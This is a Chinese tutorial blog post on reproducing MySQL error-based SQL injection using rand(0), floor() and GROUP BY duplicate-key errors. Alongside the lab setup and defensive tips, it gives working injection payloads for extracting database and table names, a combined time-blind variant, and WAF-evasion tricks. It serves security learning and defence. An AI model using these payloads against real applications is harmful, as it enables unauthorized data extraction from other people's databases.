别再死记硬背了!用MySQL的`rand(0)`和`group by`亲手复现一次SQL报错注入

张开发
2026/4/21 4:07:20 15 分钟阅读

分享文章

别再死记硬背了!用MySQL的`rand(0)`和`group by`亲手复现一次SQL报错注入
从零复现MySQL报错注入用rand(0)和group by破解SQL防御机制当你第一次听说SQL注入时脑海中浮现的可能是黑客在电影里快速敲击键盘的画面。但现实中的SQL注入更像是一场精心设计的数学魔术——而今天我们要揭秘的就是其中最精妙的报错注入手法。不同于常见的盲注或联合查询注入报错注入通过故意触发数据库错误来获取信息就像用错误的钥匙开锁却能从锁的反馈中猜出正确钥匙的形状。1. 环境准备与基础概念在开始实验之前我们需要一个安全的测试环境。推荐使用Docker快速搭建MySQL容器docker run --name mysql-test -e MYSQL_ROOT_PASSWORD123456 -p 3306:3306 -d mysql:5.7连接数据库后创建测试用的数据表CREATE TABLE users ( id INT AUTO_INCREMENT PRIMARY KEY, username VARCHAR(50), email VARCHAR(100) ); INSERT INTO users (username, email) VALUES (admin, adminexample.com), (guest, guestexample.com), (test, testexample.com);1.1 关键函数解析报错注入的核心在于几个特殊的MySQL函数rand(seed): 生成伪随机数指定种子后序列固定floor(x): 向下取整函数group by: 分组聚合操作count(*): 计数函数这些看似普通的函数组合在一起却能产生意想不到的化学反应。特别是rand(0)这个固定种子的随机数生成器它产生的序列是可预测的第一次: 0.8444218515250481 第二次: 0.7579544029403025 第三次: 0.420571580830845 ...2. 报错注入的数学原理让我们分解这个经典的报错注入语句SELECT count(*), concat(database(), floor(rand(0)*2)) as x FROM information_schema.tables GROUP BY x;2.1 随机数种子的魔法rand(0)*2会产生一个0到2之间的浮点数经过floor()处理后只会得到0或1。关键在于种子0产生的固定序列调用次数rand(0)值rand(0)*2floor(rand(0)*2)10.8441.688120.7581.516130.4210.842040.2590.518050.5111.02212.2 虚拟表的构建过程当MySQL执行group by时会在内存中创建一张虚拟临时表。这个表的构建过程是报错的关键读取第一条记录计算floor(rand(0)*2)得到1检查虚拟表中是否存在键1 → 不存在准备插入时重新计算floor(rand(0)*2)得到1 → 插入(1,1)读取第二条记录计算得到1 → 已存在计数加1 → (1,2)读取第三条记录计算得到0 → 不存在准备插入时重新计算得到1 → 尝试插入(1,...)但主键1已存在 → 报错这个过程可以用下面的状态表表示步骤操作计算值虚拟表状态结果1处理第一条记录1空准备插入2插入第一条记录1{1:1}插入成功3处理第二条记录1{1:1}计数增加到24处理第三条记录0{1:2}准备插入5插入第三条记录1尝试{1:...}主键冲突3. 实战演练从报错到数据泄露理解了原理后我们可以构造实际的注入攻击。假设有一个易受攻击的查询$id $_GET[id]; $query SELECT * FROM articles WHERE id $id;3.1 获取数据库名称构造以下注入语句1 AND (SELECT 1 FROM ( SELECT count(*), concat( 0x23, (SELECT schema_name FROM information_schema.schemata LIMIT 0,1), 0x23, floor(rand(0)*2) ) as x FROM information_schema.tables GROUP BY x ) as y)执行后将返回类似错误Duplicate entry #mysql#1 for key group_key其中#mysql#就是我们要的数据库名。3.2 提取表结构信息获取当前数据库的表名1 AND (SELECT 1 FROM ( SELECT count(*), concat( 0x23, (SELECT table_name FROM information_schema.tables WHERE table_schemadatabase() LIMIT 0,1), 0x23, floor(rand(0)*2) ) as x FROM information_schema.columns GROUP BY x ) as y)3.3 防御与检测技巧为了防止这类攻击开发者应该使用参数化查询(prepared statements)实施最小权限原则过滤特殊字符关闭错误回显检测是否存在漏洞的方法-- 测试是否易受攻击 1 AND (SELECT 1 FROM (SELECT count(*),concat(0x23,version(),0x23,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y) -- 确认最少需要3条记录 SELECT count(*) FROM vulnerable_table; -- 小于3条可能不会报错4. 高级技巧与变种4.1 绕过过滤的替代方案当rand(0)被过滤时可以尝试-- 使用其他固定种子 floor(rand(1)*2) -- 使用用户变量 SET r0; SELECT floor((r:r1)*0.5);4.2 多语句组合注入结合其他SQL特性实现更复杂的注入-- 时间盲注结合报错注入 1 AND IF(ASCII(SUBSTR(database(),1,1))100, (SELECT 1 FROM (SELECT count(*),concat(0x23,database(),0x23,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)y), SLEEP(3))4.3 性能优化技巧报错注入可能很耗资源可以通过以下方式优化-- 限制扫描范围 SELECT count(*),concat(0x23,(SELECT username FROM users LIMIT 1),0x23,floor(rand(0)*2))x FROM information_schema.columns WHERE table_nameusers GROUP BY x;5. 防御措施深度分析5.1 参数化查询原理真正的参数化查询会将SQL语句和参数分开发送客户端发送: SELECT * FROM users WHERE id ? 客户端发送: 参数值1 服务器端: 安全执行5.2 WAF绕过手法了解防御才能更好攻击常见的WAF绕过技巧空白字符混淆SEL%0aECT大小写混合SeLeCt注释分割SEL/*xxx*/ECT编码转换CHAR(83,69,76,69,67,84)5.3 日志分析与检测管理员可以通过监控以下特征发现报错注入攻击异常的group by语法rand()与floor()的组合使用information_schema的频繁访问特定的错误代码(如1062主键冲突)在MySQL日志中典型的攻击特征表现为[Warning] /usr/sbin/mysqld: Duplicate entry #mysql#1 for key group_key

更多文章